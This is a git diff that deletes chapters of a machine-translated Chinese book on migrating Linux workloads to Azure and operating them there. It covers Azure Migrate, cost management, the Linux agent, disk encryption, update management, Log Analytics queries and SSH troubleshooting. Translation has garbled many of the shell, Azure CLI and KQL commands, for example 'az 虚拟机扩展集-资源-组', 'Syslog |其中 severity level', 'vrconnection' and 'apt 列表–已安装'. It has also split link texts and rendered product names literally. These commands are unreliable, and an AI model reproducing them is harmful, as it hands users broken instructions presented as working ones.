us that we are ready to cut over. If you choose Start Cutover, Azure will provide the steps to commit any pending transactions, as shown in *Figure 4.44*, and after that you are ready to point your applications to this database: - - ![Starting cutover by clicking on Start Cutover](img/B17160_04_44.jpg) - - 图 4.44:开始切换 - -11. 即使没有启动切换,您也可以检查 Azure MySQL 实例,并验证我们的记录是否在那里。下面显示了使用 Bash 通过连接到实例完成的验证: - -![Verifying data in Azure MySQL Database after migration](img/B17160_04_45.jpg) - -图 4.45:迁移后验证 MySQL 服务器的 Azure 数据库中的数据 - -从*图 4.45* 可以明显看出,我们确实连接到了 Azure MySQL 实例。 - -虽然我们从 Hyper-V 执行了迁移以进行演示,但 Azure Migrate 支持其他平台,DMS 也支持其他数据库类型。*表 4.1* 显示了包括 Hyper-V 在内的其他平台的微软官方内容链接: - - -| **平台** | **链接** | -| --- | --- | -| **VMware** | [https://docs . Microsoft . com/azure/migrate/server-migrate-概述](https://docs.microsoft.com/azure/migrate/server-migrate-overview) | -| **物理服务器** | [https://docs . Microsoft . com/azure/migrate/tutorial-migrate-physical-virtual-machines](https://docs.microsoft.com/azure/migrate/tutorial-migrate-physical-virtual-machines) | -| **AWS 实例** | [https://docs . Microsoft . com/azure/migrate/tutorial-migrate-AWS-虚拟机](https://docs.microsoft.com/azure/migrate/tutorial-migrate-aws-virtual-machines) | -| **GCP 实例** | [https://docs . Microsoft . com/azure/migrate/tutorial-migrate-GCP-虚拟机](https://docs.microsoft.com/azure/migrate/tutorial-migrate-gcp-virtual-machines) | -| **超 V** | [https://docs . Microsoft . com/azure/migrate/tutorial-migrate-hyper-v](https://docs.microsoft.com/azure/migrate/tutorial-migrate-hyper-v) | -| **数据库迁移** | [https://datamigration.microsoft.com/](https://datamigration.microsoft.com/) | - -表 4.1:其他平台的迁移文档 - -至此,我们已经到达动手实验的终点。最后,本练习分为两个部分,一部分是使用 Azure Migrate 迁移服务器,另一部分是使用 DMS 迁移数据库。 - -## 总结 - -本章重点介绍通过动手实验进行的实践学习。首先,我们了解了如何在虚拟机中安装提供程序,然后运行了发现和复制过程。第一个实践实验以使用 Azure Migrate 将虚拟机迁移到 Azure 而结束。 - -我们的第二个实验侧重于使用 DMS 将 MySQL 数据库迁移到 MySQL 服务的 Azure 数据库。在本实验中,我们首先创建了迁移服务,并用我们的目标资源对其进行了配置。然后我们迁移了一个示例模式。最后,我们创建了一个迁移项目,并将数据库迁移到 Azure。 - -将操作系统和数据库迁移到 Azure 只是我们云之旅的一步。自然,下一步是在 Azure 上操作迁移的 Linux 工作负载。*第五章*、*在 Azure* 上操作 Linux,会给大家一些关于这个话题的实用指导。 \ No newline at end of file diff --git a/docs/migrate-linux-ms-azure/5.md b/docs/migrate-linux-ms-azure/5.md deleted file mode 100644 index 4ff4026f..00000000 --- a/docs/migrate-linux-ms-azure/5.md +++ /dev/null @@ -1,408 +0,0 @@ -# 五、在 Azure 上操作 Linux - -如果您还记得我们之前分享的迁移路线图,它是一个分四个阶段的过程。在最后两章中,我们介绍了*评估*和*迁移*里程碑。在*第 3 章*、*评估和迁移规划*中,我们讨论了正确评估和彻底规划迁移的必要性,因为它们是流程中不可避免的一部分。我们还在*第 4 章*、*中讨论了用于完成这些里程碑的工具执行到 Azure 的迁移*,并且我们将两台 Linux 服务器从 Hyper-V 迁移到 Azure。第一个服务器是 Ubuntu LTS,第二个是 MySQL 服务器,它被转换成 MySQL 服务的 Azure 数据库。 - -要记住的一件事是,旅程并不止于此。在本章中,我们将主要关注剩下的阶段:*优化*和*管理&保障*。我们需要确保工作负载得到优化,并且安全性是一流的。在内部环境中,安全通常完全由您来处理。但是,在云的情况下,您将工作负载部署到云提供商的数据中心。在这里,安全将是一个主要问题,但你不必担心。Azure 提供了许多服务,可以改变云部署的安全格局。 - -*优化*阶段主要关注分析您的成本,使用建议改进基础设施,并重新投资以实现更多目标。另一方面,*管理&安全*阶段更多地讨论安全性、数据保护以及最终监控。 - -本章的一些关键要点包括: - -* 在 Azure 上优化成本 -* 使用 Azure Linux 代理和扩展 -* Azure 上的 Linux 补丁 -* 基础设施监控 - -让我们继续我们的迁移之旅,进入下一个里程碑*优化*,在这里我们将学习 Azure 中的一些成本优化技术。 - -## 优化 - -在这个阶段,您可能已经成功地将服务迁移到了 Azure 云。然而,正如本章导言中提到的,旅程并没有到此结束。如果您还记得,在我们的迁移过程中,我们可以选择需要在 Azure 中创建的虚拟机的大小。出于演示目的,我们让 Azure 决定目标虚拟机的大小。此时会出现几个问题,例如:*规模决策是否正确?迁移的工作负载是否高效运行?* - -这些问题的答案在*优化*阶段给出。在此阶段,我们从成本和性能的角度确保迁移的工作负载高效运行。让我们继续介绍一些用于优化工作负载的工具,主要是从成本的角度。 - -在前面的章节中,我们讨论了在各个阶段使用的相关工具。同样地,*优化*阶段也有一套工具可供客户用来优化工作负载。让我们来看看这些工具。 - -### 蔚蓝成本管理 - -**Azure 成本管理** ( **ACM** )是一个很神奇的工具,可以用来分析不同管理范围的运行成本,比如计费账户、管理组、订阅、资源组,甚至资源层面。例如,您可以从 Azure 门户中选择任何订阅,单击成本分析刀片将为您提供与订阅中所有资源相关的成本的完整细分。*图 5.1* 显示了如何使用 ACM 中的不同图表来可视化成本: - -![A complete breakdown of the cost of all resources in your subscription by clicking into the Cost analysis blade](img/B17160_05_01.jpg) - -图 5.1: ACM 视图 - -如果你仔细看*图 5.1* ,就在实际成本(美元)旁边,你可以在预测:图表视图打开下看到预测成本。使用当前部署的资源进行预测。除此之外,ACM 还提供了预算和警报功能,以便在您超出预算时会得到通知。此外,您可以将预算与行动组相结合,并调用 Azure Functions 或 Azure Logic Apps,以便在您跨过门槛时自动关闭工作负载。 - -除了上述功能,ACM 还具有以下优点: - -* 您可以使用自动气象站连接器监控自动气象站的自动气象站成本。 -* ACM 提供了更丰富的 API,可以用来在您最喜欢的可视化工具中构建仪表板。 - -ACM 还有一个 Power BI 连接器,您可以利用它将数据从成本管理带到 Power BI。在撰写本书时,Power BI 连接器仅支持**企业协议** ( **EA** )和**微软客户协议** ( **MCA** )客户。**现收现付** ( **PAYG** )客户必须使用 API 在 Power BI 中创建仪表盘。 - -总之,就其提供的功能和在云支出方面提供的可见性而言,ACM 非常强大。您可以分析已迁移的服务或服务器的成本,并验证它们是否在您的预计预算范围内。如果没有,您可以考虑调整服务器的大小,前提是不影响应用的性能。 - -接下来,我们将进入*优化*阶段使用的下一个工具——Azure Advisor。 - -### 蔚蓝顾问 - -Azure Advisor 可以为您提供建议,帮助您审查和改进工作负载的优化和效率。Azure Advisor 现已集成到 ACM 刀片中,为降低成本提供建议。从降低成本的角度来看,建议包括调整未充分利用的 Azure 虚拟机的大小、利用额外折扣,以及将 PAYG 虚拟机转换为 Azure 保留实例,以便在 24x7 运行的工作负载上获得显著折扣。 - -对于未充分利用的资源,Azure Advisor 建议根据评估结果关闭实例或调整其大小。评估指标可以在这里找到:[https://docs . Microsoft . com/azure/advisor/advisor-成本-建议](https://docs.microsoft.com/azure/advisor/advisor-cost-recommendations)。 - -顾问的建议并不总是涉及成本,您将能够看到关于成本、安全性、可靠性、卓越运营和性能的建议。*图 5.2* 显示了来自 Advisor 刀片的视图,显示了不同的建议。在这种情况下,除了可靠性建议之外,大多数建议都已完成: - -![The view from the Advisor blade showing different Azure recommendations](img/B17160_05_02.jpg) - -图 5.2: Azure 顾问建议 - -这些建议可以下载为 CSV 或 PDF 格式,您可以与在业务决策中发挥重要作用的其他利益相关方分享。 - -使用 ACM 分析成本并查看 Azure 顾问提出的建议将有助于您在 Azure 中优化工作负载。现在,让我们进入下一阶段的旅程,名为*管理&保护*。 - -## 管理和保护 - -在这个阶段,我们将确保我们迁移的资源是安全的,并且得到正确的管理。这一阶段的重点是安全和数据保护,我们将了解一些用于实现这些目标的工具。 - -Azure 中 Linux 管理最重要的部分之一是一个名为 **Linux 代理**的小组件。 - -### 【Azure 的 Linux 代理 - -Azure **结构控制器** ( **FC** )和虚拟机之间的 Linux 供应和交互由微软 Azure Linux 代理管理,也称为 **waagent** 或 **WaLinuxAgent** 。 - -Azure 部署上 Linux 的以下功能由 Azure Linux 代理管理: - -* 供应图像 -* 网络路由和接口命名 -* 内核配置 -* 诊断配置 -* 微软**系统中心虚拟机管理器** ( **SCVMM** )部署 -* 虚拟机扩展 - -代理通过两个渠道与 Azure 服务结构进行对话。在虚拟机部署期间,代理从包含所需配置详细信息的虚拟 DVD 映像装载符合**开放虚拟化格式** ( **OVF** )的配置文件。在运行时,通信通过代理提供的 REST API 进行,允许 Azure Fabric 向虚拟机推送信息和命令。 - -当创建您自己的 Linux 映像或修改现有映像时,最好记住代理不是完全单一的—它需要底层 Linux 系统的以下组件: - -* Python 2.6+ -* OpenSSL 1.0+ -* OpenSSH 5.3+ -* 文件系统工具: **sfdisk** 、 **fdisk** 、 **mkfs** 、**分开** -* 密码工具: **chpasswd** 、 **sudo** -* 文本处理工具:**sed****grep** -* 网络工具: **ip 路由** - -即使在没有代理的情况下在 Azure 上运行 Linux 在技术上是可能的,强烈建议始终在您的虚拟机中安装并激活代理。没有代理,您无法通过 Azure Fabric 向虚拟机运行任何远程命令。此外,Azure 不会获得任何关于虚拟机的状态信息,也不知道系统是否健康。 - -Azure 上所有认可的 Linux 发行版都预装了代理。对于您自己的映像,您可以从 DEB 和 RPM 包中安装代理,也可以使用基于 Python 的安装脚本。 - -#### 注意 - -您应该始终使用 Linux 发行厂商随虚拟机映像一起发行的代理版本。只有在没有适合你的 Linux 风格的官方软件包的情况下,才能手动安装。 - -以下是一些有用的命令,用于检查 Azure Linux 代理是否已安装并更新到最新版本: - -* To check whether it is installed and to show the current version number on Ubuntu: - - apt 列表–已安装| grep walinuxagent - - ![Checking Azure Linux Agent version number on Ubuntu by executing the apt list –installed | grep walinuxagent command](img/B17160_05_03.jpg) - -图 5.3:检查 Ubuntu 上的 Azure Linux 代理版本号 - -或者,您可以运行 **waagent - version** ,它可以在任何发行版上使用,而不需要运行任何与包管理器相关的命令。 - -* To update the agent or install it in the event that it is missing, run the following command: - - sudo apt-get 安装 walinuxagent - - ![Updating the Linux agent on Ubuntu by executing the sudo apt-get install walinuxagent command](img/B17160_05_04.jpg) - -图 5.4:在 Ubuntu 上更新 Linux 代理 - -在我们的示例中,代理已经安装,并且是最新版本。 - -Azure Linux 代理有一个内置的自我更新机制。最好通过编辑其配置文件 **/etc/waagent.conf** 来确保启用: - -#### 注意 - -您可以从 GitHub 了解更多关于代理的技术细节,因为代理是作为开源发布的:[https://github.com/Azure/WALinuxAgent](https://github.com/Azure/WALinuxAgent)。 - -使用代理的文档可以在这里找到:[https://docs . Microsoft . com/azure/virtual-machines/extensions/agent-Linux](https://docs.microsoft.com/azure/virtual-machines/extensions/agent-linux)。 - -熟悉 **cloud-init** 也不错,这是一个非常流行的工具,用于在 Linux 虚拟机第一次启动时定制它。它可以被认为是 Azure Linux 代理的替代品。你可以在这里读到更多关于它的信息。 **cloud-init** 适用于所有 Linux 发行版,不依赖于包管理器。 - -### 延伸 - -Azure 扩展是为 Azure 虚拟机提供配置和自动化功能的小型助手应用。一旦部署并启动了虚拟机和操作系统,就可以使用这些扩展。它们也可以在虚拟机部署期间使用 Azure 资源管理器模板来使用。 - -扩展是 Azure Linux 代理功能集的一部分,但是每个扩展都有自己的一组特性和用例。 - -要列出 Azure 上 Linux 的所有可用扩展,您可以运行以下 Azure CLI 命令: - -az vm 扩展映像列表-东南亚位置-输出表 - -![Listing all available extensions for Linux on Azure](img/B17160_05_05.jpg) - -图 5.5:列出了 Azure 上所有可用的 Linux 扩展 - -这个列表很长,包含了微软和第三方发行商的扩展。在本例中,我们使用东南亚作为位置。除非您在特定的远程位置工作,否则您应该选择最近的地区。 - -#### 注意 - -您可以在这里探索扩展图像模块的所有选项:[https://docs.microsoft.com/cli/azure/vm/extension/image?view = azure-CLI-最新#az-vm-extension-image-list](https://docs.microsoft.com/cli/azure/vm/extension/image?view=azure-cli-latest#az-vm-extension-image-list) 。 - -虚拟机扩展也可以在 Azure 门户中找到(见*图 5.6* )。您可以在虚拟机属性下选择扩展,并使用安装向导添加它们: - -![Extensions settings in the Azure portal](img/B17160_05_06.jpg) - -图 5.6:Azure 门户中的扩展设置 - -扩展不仅对于部署工作负载及其配置非常有用,而且在故障排除和调试期间也非常有用。 - -### 数据保护 - -在 Azure 中,您的数据可以通过多种方式和多层得到保护。Azure 支持的加密模型如下: - -* 客户端和服务器端加密 -* Azure 磁盘和 Azure 存储服务加密 -* Azure blobs 的客户端加密 -* 数据库和数据库服务的各种加密方法 -* 传输中的数据加密 -* 使用密钥库进行密钥管理 - -根据您的迁移工作负载及其体系结构,您可能希望在项目中利用这些加密功能中的一项或多项。 - -例如,如果您的源虚拟机正在使用加密的文件系统,您可以按原样将其迁移到 Azure。但是,出于性能原因,关闭文件系统加密并在 Azure Storage 或托管磁盘上启用加密可能是有意义的。 - -如果您的整个内部存储系统都经过加密,最合理的选择是也在 Azure 存储级别进行加密。 - -#### 注意 - -您可以在加密概述文档中阅读更多关于各种加密功能的信息:[https://docs . Microsoft . com/azure/security/基本面/加密-概述](https://docs.microsoft.com/azure/security/fundamentals/encryption-overview)。 - -让我们仔细看看下一个特性。 - -### 蔚蓝磁盘加密 - -Linux 虚拟机 Azure 磁盘加密使用 *DM-Crypt* 为操作系统和数据磁盘提供卷加密。它与 *Azure 密钥库*集成,可管理和控制您的加密密钥和机密。还有与 Azure 安全中心的集成,如果您没有加密虚拟机磁盘,该中心可以向您发出警报: - -![Virtual machine recommendation – Azure Security Center](img/B17160_05_07.jpg) - -图 5.7: Azure 安全中心 - -当涉及到对 Linux 虚拟机使用 Azure Disk Encryption 时,有一定的建议和限制,目前还没有直接的方法从 Linux 虚拟机上的操作系统磁盘中删除加密,这使得 ADE 操作系统加密的虚拟机在“没有引导/没有 ssh”的情况下的故障排除过程非常耗时。目前*表 5.1* 所示的内存要求适用: - -![VMs with memory requirements for smooth encryption](img/Table_5.1.jpg) - -表 5.1:有内存需求的虚拟机 - -#### 注意 - -加密完成后,您可以减小虚拟机的内存大小。 - -请记住,为了使用 Azure 磁盘加密,必须启用临时磁盘。实际上,这使得虚拟机类型 Dv4、Dsv4、Ev4 和 Esv4 无法使用磁盘加密。 - -另一个限制是目前不支持第 2 代虚拟机和 Lsv2 系列虚拟机。你可以在这里找到所有不支持的场景:https://docs . Microsoft . com/azure/virtual-machines/Linux/disk-encryption-Linux #不支持的场景。 - -支持 Azure 磁盘加密的 Linux 发行版列表非常广泛,但它只涵盖了所有认可发行版的一个子集。由于列表更新频繁,我们在此不做赘述,但您可以在 Azure 文档中找到最新列表:[https://docs . Microsoft . com/Azure/virtual-machines/Linux/disk-encryption-overview # supported-operating-system](https://docs.microsoft.com/azure/virtual-machines/linux/disk-encryption-overview#supported-operating-systems)。 - -接下来,让我们看看如何在 Azure 上跟上 Linux 的更新和安全补丁。 - -### 在 Azure 上更新 Linux - -Azure 提供了更新所有支持的 Linux 发行版的机制。对于某些发行版,微软有自己的更新存储库,它是从官方上游存储库镜像而来的,而对于其他发行版,更新直接来自第三方供应商的存储库。 - -**红帽企业 Linux** ( **RHEL** )更新可从直接运行红帽更新基础设施的 Azure 获得。此更新存储库可用于 RHEL 的 PAYG 部署。对于使用**自带订阅** ( **BYOS** )方法部署的虚拟机,需要使用红帽自己的更新服务器或自己公司的红帽卫星服务器下载更新。 - -在 Azure 更新和 Azure RHUI 上阅读更多关于 RHEL 的信息。 - -#### 注意 - -如果您有一台红帽卫星服务器,您可以在 Azure 上将它与 RHEL 一起继续用于已经从内部迁移到 Azure 的虚拟机。卫星也可以用于 BYOS 装置。 - -你不应该使用卫星与 PAYG 图像,因为你会消费你的 RHEL 客户证书,以及消费你的 PAYG 订阅和实际上支付两倍的 RHEL 安装。 - -**SUSE Linux 企业服务器** ( **SLES** )的更新服务器架构略有不同:您的 SLES 虚拟机将直接从官方 SUSE 运营的存储库中获取更新。您可以从 SUSE 文档中找到有关 SLES 和 Azure 更新的更多详细信息:[https://www.suse.com/c/?s=cloud-regionsrv-client](https://www.suse.com/c/?s=cloud-regionsrv-client)。 - -要在 Azure 上更新您的 Linux 服务器,您可以通过 SSH 登录到服务器,并根据您的 Linux 发行版调用 **apt-get update** 或 **yum update** ,以传统的方式来完成。Azure 上的 Ubuntu 也可以从 Azure 上托管的镜像获得更新。Azure 上的 Ubuntu 映像默认配置的存储库服务器别名是**azure.archive.ubuntu.com**。该主机名被解析为资源组区域中的实际服务器: - -![Finding the update server address by executing the host azure.archive.ubuntu.com command](img/B17160_05_08.jpg) - -图 5.8:查找更新服务器地址 - -在这个例子中,你可以看到离我最近的 Ubuntu 更新服务器位于东南亚地区,它的 IP 地址是**20.195.37.151**。 - -微软还提供了 Azure 更新管理,这是一个附加机制,可以帮助您管理 Linux 服务器的更新。 - -### 天青更新管理 - -为了避免手动重复工作,您可以使用 Azure 更新管理服务同时更新一台或多台服务器。该服务是 Azure Automation 的一部分,支持 Linux 和 Windows 操作系统。 - -Azure 更新管理并不是 Azure 中用于更新管理的唯一工具。如果您已经在使用 Ansible 进行更新管理和自动化,那么 Ansible Automation 也可以在 Azure 上使用。 - -目前,只有部分 Linux 发行版支持 Azure 更新管理。最新列表请参考文档:[https://docs . Microsoft . com/azure/automation/update-management/overview](https://docs.microsoft.com/azure/automation/update-management/overview)。 - -您可以使用 Azure 更新管理服务列出所有可用的更新,并管理为服务器安装所需更新的过程。该服务使用 Azure Linux 代理与虚拟机通信,如本章前面所述。 - -*图 5.9* 展示了 Azure 更新管理服务的架构: - -![Azure Update Management service architecture](img/B17160_05_09.jpg) - -图 5.9: Azure 更新管理架构 - -Azure Update Management 不会取代 Linux 发行版的正常更新机制或包管理器,但它会向那些执行所需维护任务的人发出请求。实际上,这意味着,例如,Ubuntu 更新仍然由 **apt** 工具安装,例如,在 RHEL,更新由 **yum** 管理。更新是从 Linux 安装中配置的存储库中获取的。 - -在 Linux 上,Azure 更新管理每小时自动轮询一次可用的更新。 - -现在,让我们来看看下一个在 Azure 上管理 Linux 的实践实验,以指导您在云之旅中走得更远。 - -## 在 Azure 上动手管理 Linux - -Linux 日志可以进入日志分析工作区。在本实践练习中,我们将了解如何将迁移后的 Linux 机器中的系统日志摄取到日志分析工作区,并使用 **Kusto 查询语言** ( **KQL** )对其进行分析。 - -Syslog 是一种在 Linux 中广泛使用的事件日志记录协议。应用发送的消息可能会存储在本地计算机上,或者传递给系统日志收集器。使用 Linux 日志分析代理,我们将配置系统日志守护程序,将这些系统日志条目转发给代理,然后代理将消息发送到日志分析工作区,该工作区是 Azure Monitor 的一部分。在这里,我们使用日志分析代理将数据推送到日志分析工作区。 - -*图 5.10* 是数据如何从 Linux 机器发送到 Azure Monitor 的图形表示: - -![A graphical representation of the Linux machine sending Syslog messages to Azure Monitor](img/B17160_05_10.jpg) - -图 5.10:向 Azure 监视器发送系统日志消息 - -系统日志收集器支持以下功能: - -* **核** -* **用户** -* **邮件** -* **守护程式** -* **认证** -* **系统日志** -* lpr -* **新闻** -* **uucp** -* **cron** -* **authtype** -* FTP -* **local0-local7** - -如果您想要收集列表之外的任何工具,那么您可能需要在 Azure Monitor 中配置一个自定义数据源。在我们的实践练习中,我们将把在*第 4 章*、*中迁移到 Azure* 的 LAMP 服务器装载到日志分析工作区,然后我们将对其进行配置以收集系统日志。 - -第一步是在虚拟机上运行,将日志发送到日志分析工作区。 - -### 创建日志分析工作区 - -过程非常简单—我们需要创建一个日志分析工作区,并将我们的虚拟机连接到该工作区。您可以按照这里概述的步骤来安装虚拟机: - -1. Navigate to the Azure portal and search for Log Analytics workspaces and click on that. Once you are in the Log Analytics workspaces blade, click on the New button as shown in *Figure 5.11* to create a workspace: - - ![Adding a new workspace by clicking on the +New button at the top right](img/B17160_05_11.jpg) - - 图 5.11:添加新的工作空间 - -2. Clicking on New will redirect you to the wizard to create a workspace and the Basics tab requires basic information such as Subscription, Resource group, Name, and Region. You can complete these details as shown in *Figure 5.12* and proceed to Pricing tier: - - ![Creating a Log Analytics workspace by clicking on the Review + Create button](img/B17160_05_12.jpg) - - 图 5.12:创建日志分析工作区 - -3. For Pricing tier, you can keep the default value: **Pay-as-you-go (Per GB 2018)**. You can also reserve the capacity reservation if required; however, for this hands-on exercise, it is not required. - - 最后,您可以单击查看+创建,工作区将被创建。 - -### 加入 Azure 虚拟机 - -现在,您已经创建了日志将被接收到的工作区,下一个阶段是虚拟机入职。您需要打开我们创建的工作区来安装虚拟机。您可以在顶部搜索栏中搜索日志分析工作区,您将能够看到工作区的名称。点击它,打开工作区。入职步骤如下: - -1. Navigate to Virtual machines under Workspace Data Sources and you'll be able to see the virtual machine that we migrated from on-premises. Log Analytics Connection will be shown as Not connected, as seen in *Figure 5.13*: - - ![Adding data sources to the workspace by navigating Virtual Machines under Workspace Data Sources](img/B17160_05_13.jpg) - - 图 5.13:向工作区添加数据源 - -2. Click on the virtual machine name and you will be taken to a new page where you will be able to see the Connect option, as shown in *Figure 5.14*. Please note that in order for the connect operation to succeed, the virtual machine should be in the running state, otherwise it will fail. Also, make sure that **walinuxagent** is installed, as already recommended in the *Manage and Secure* section, and that the agent is listed as Ready under the Properties blade of the virtual machine. Click on Connect, after which the extension will be configured on the virtual machine: - - ![Connecting lamp-server to Log Analytics](img/B17160_05_14.jpg) - - 图 5.14:连接到日志分析 - -3. If you navigate back to the previous Virtual machines blade, you will be able to see that the status has been changed to Connecting, as is visible in *Figure 5.15*. This process will take some time and Log Analytics extensions will be configured on the selected virtual machine: - - ![Verifying the connection status of lamp-server](img/B17160_05_15.jpg) - - 图 5.15:验证连接状态 - -4. 一旦安装了扩展,虚拟机就会加入日志分析工作区。您可以通过验证连接状态为“已连接”来确认这一点。 - -入职完成;然而,我们仍然没有为日志分析工作区配置关于应该从虚拟机中提取什么类型的事件数据的说明。在下一节中,我们将配置数据收集。 - -### 数据收集 - -我们已经启动了我们的虚拟机,日志分析扩展已经准备好收集数据并将其接收到日志分析工作区。但是,我们需要设置数据收集,也就是说,我们需要指定需要从虚拟机中提取哪些数据集。我们可以按如下方式配置集合: - -1. Navigate back to the Log Analytics workspace we created and select Agents configuration, as shown in *Figure 5.16*: - - ![Navigating to data collection by clicking on Agents configuration under the Settings blade](img/B17160_05_16.jpg) - - 图 5.16:导航到数据收集配置 - -2. Navigate to Linux performance counters and add the recommended counters. Azure will present you with a list of recommended performance counter names, as shown in *Figure 5.17*. If you require additional counters, you can click on Add performance counter and add it. Once done, click on Apply to save the configuration: - - ![Configuring performance counters by navigating to Agents configuration | Linux Performance counters](img/B17160_05_17.jpg) - - 图 5.17:配置性能计数器 - -3. After configuring the performance counters, you can click on the Syslog tab. Clicking on Add facility will list all the facilities available to you, including auth, authpriv, and cron. Also, you can specify the logging level for each facility. You can add the following facilities as shown in *Figure 5.18*. Once added, click on Apply to save the configuration: - - ![Sylog tab configuring syslog facilities](img/B17160_05_18.jpg) - -图 5.18:配置系统日志工具 - -这样,我们就配置了数据收集。现在,我们需要验证数据是否被吸收到日志分析工作区中,并且在完成入职后,吸收将需要一些时间。在下一节中,我们将运行一些示例查询,看看我们是否得到了结果。 - -### 查询数据 - -在前一节中,我们配置了几个性能计数器和系统日志工具,它们需要被吸收到我们的日志分析工作区中。现在,我们将使用 KQL 查询这些日志,并验证我们是否从虚拟机获取了数据。 - -将有不同的表来存储性能、系统日志和其他数据。您可以通过将查询范围限定到特定虚拟机来查询虚拟机的日志。如果从工作区级别运行查询,将返回所有已运行虚拟机的日志。不过,您也可以从这里更改范围。在我们的案例中,只有一台虚拟机连接到工作区,因此从虚拟机刀片或日志分析刀片进行查询是相同的。但是,让我们从虚拟机刀片进行查询,以确保我们看到的是正确的范围: - -1. Navigate to Virtual machines and open the virtual machine we migrated from on-premises in *Chapter 4*, *Performing migration to Azure*. From Monitoring, select Logs, as shown in *Figure 5.19*: - - ![Navigating to Logs from the Virtual machine blade](img/B17160_05_19.jpg) - - 图 5.19:从虚拟机刀片导航到日志 - -2. To list all the tables in the workspace, you can run a **search** *** | distinct $table**, in the query window and see the results in the Results window. An example is shown in *Figure 5.20*: - - ![Listing all tables in the Log Analytics workspace](img/B17160_05_20.jpg) - - 图 5.20:列出日志分析工作区中的所有表 - -3. 在结果中,可以看到多个表,如 **Syslog** 、 **VMProcess** 、 **VMBoundPort** 、 **VMConnection** 、 **Perf** 。让我们查询一些表并检查结果。以下所有脚本都需要在查询窗口中运行。 -4. Return all informational logs where the **syslog** message contains **rsyslog**: - - Syslog |其中 severity level = =“info”,SyslogMessage 包含“rsyslog” - -5. Render a time chart for the **% Used Memory** performance counter: - - 性能|其中计数器名称= = %已用内存 - - |项目时间生成,抵消值 - - |渲染时间表 - -6. Return all external connections made by processes, including the destination IP and port number: - - vrconnection - - | where DestinationIp!从“127.0.0”开始 - - | distinct ProcessName、DestinationIp、DestinationPort - -您可以使用可用的数据集运行任何类型的查询。KQL 非常强大,它可以在你的数据集上创造奇迹。通过本练习,我们已经完成了动手实验。在本实验中,我们将我们在*第 4 章*、*中迁移的内部虚拟机迁移到 Azure* ,迁移到日志分析工作区,并将性能和系统日志摄入工作区。此外,我们使用 KQL 查询摄取的数据,以获得一些结果和时间图。 - -## 总结 - -本章介绍了如何在 Azure 上有效操作 Linux 的各种细节。首先,我们经历了*优化*阶段,包括 ACM 和 Azure Advisor 工具。然后,我们进入了*管理&安全*阶段,在该阶段,我们花了一些时间使用数据保护功能以及 Azure Linux 代理。 - -就在动手实验之前,您还学习了 Azure 更新管理如何与各种 Linux 发行版的更新机制相结合。 - -我们现在已经讨论了关于评估、迁移和在 Azure 上操作 Linux 的所有主题。当事情不像你预期的那样运作时会发生什么?让我们在下一章中找到答案,我们将指导您在 Azure 上对 Linux 进行故障排除。 \ No newline at end of file diff --git a/docs/migrate-linux-ms-azure/6.md b/docs/migrate-linux-ms-azure/6.md deleted file mode 100644 index 3d020ded..00000000 --- a/docs/migrate-linux-ms-azure/6.md +++ /dev/null @@ -1,494 +0,0 @@ -# 六、故障排除和问题解决 - -我们的迁移之旅从 *第三章**评估和迁移规划*开始,在这里我们看到了评估的重要性及其对整体迁移之旅的贡献。 - -在 *第 4 章**执行到 Azure* 的迁移中,我们见证了 Linux 工作负载到微软 Azure 虚拟机以及托管服务的实际迁移。 *第 5 章**在 Azure 上操作 Linux*更多的是关于在 Azure 中优化和保护工作负载的迁移后策略和工具。 - -至此,我们的**虚拟机** ( **VM** )成功迁移到 Azure。是时候收拾行李,考虑一下工作是否做得好了。然而,有时候事情并没有按照他们应该的方式进行。您的日志文件中可能会出现奇怪的错误,或者您的客户端可能会抱怨迁移的应用运行不正确。您甚至可以发现您的虚拟机根本无法启动。 - -能够自己分析问题并调试受影响的系统非常重要。您不希望仅仅因为不知道如何弄清楚为什么有些东西不起作用,就被困在您的迁移项目中。 - -本章将帮助您学习和理解如何评估、调试和修复 Linux 到 Azure 迁移项目中最常见的问题。这些主题对于在 Azure 上新创建的 Linux 虚拟机也很有用。 - -在本章中,您将了解以下内容: - -* 远程连接和虚拟机启动问题 -* 常见的 Linux 运行时挑战 -* Azure 诊断工具-总结 -* 打开支持请求 - -为了充分利用本章,您应该熟悉本地或托管 Linux 服务器的典型调试方法。在 Azure 上,调试的某些方面与内部调试有些不同。 - -让我们从讨论最不想要的问题开始——您无法连接到的虚拟机。 - -## 远程连接和虚拟机启动问题 - -在本节中,我们将了解一些可能导致您的虚拟机无法通过网络访问的常见问题,并提供一些方法来解决这些问题。 - -我们看到的最常见的问题就是使用 **ssh** 无法到达 VM,如图*图 6.1* : - -![SSH connection fails in Azure CLI](img/B17160_06_01.jpg) - -图 6.1: SSH 连接失败 - -在这种情况下,用户试图直接从他们的笔记本电脑连接到 Azure 虚拟机的私有 IP 地址 **10.0.0.1** 。这将失败,因为 Azure 上的私有 IP 地址总是在私有 IP 范围内,不能通过公共互联网直接访问。这与典型的内部环境不同,在这种环境中,您可能能够直接连接到数据中心的任何虚拟机。根据您的操作系统和连接失败的实际原因,实际的错误消息可能会有所不同。 - -Azure 虚拟机通常有两个 IP 地址:私有内部 IP 和公共外部 IP。您可以从 Azure 门户或命令行获得虚拟机的所有 IP 地址列表。使用 Azure 命令行界面,您可以使用 **az vm 列表-ip 地址**命令,如*图 6.2* 所示: - -![List of IP addresses of VM in Azure CLI](img/B17160_06_02.jpg) - -图 6.2:虚拟机 IP 地址列表 - -如果在使用公共 IP 地址时连接仍然不起作用,原因可能是以下之一: - -* Azure 网络安全组正在阻止连接。 -* SSH 服务没有在虚拟机上运行。 -* Linux 防火墙正在阻止连接。 - -这些是我们见过的最常见的问题。如果您的问题不是这些问题之一,您将在本章后面的 *Azure 诊断工具–概述*部分找到更多分析指导。 - -网络连接问题可以使用 Azure 门户上的 Azure 连接疑难解答工具进行分析,如图*图 6.3* : - -![Analyzing network connectivity issues using Azure Connection troubleshooting tool](img/B17160_06_03.jpg) - -图 6.3:连接故障排除实用程序 - -在本例中,我们可以看到 Azure 网络连接工作正常,问题不在网络安全组设置中。 - -### 在没有网络连接的情况下运行命令 - -为了解决 Linux 虚拟机内部的问题,您可以使用 Azure 扩展。要以这种方式启动 **sshd** ,首先需要创建一个本地 **custom.json** 文件,其内容如下: - -{ - -" commandtoexec ":" sudo system CTL start sshd " - -} - -然后使用以下命令调用自定义扩展: - -az 虚拟机扩展集-资源-组 vm1_group -虚拟机-名称 vm1 \ - --名称 customScript -发布者 Microsoft。Azure.Extensions \ - --设置。/custom.json - -结果应该是成功的,如图*图 6.4* : - -![Running custom extension command in Azure CLI](img/B17160_06_04.jpg) - -图 6.4:运行自定义扩展 - -您可以使用相同的方法远程运行任何命令,例如,如果您怀疑 Linux 防火墙可能会阻止您的 SSH 连接,请关闭它。 - -Azure 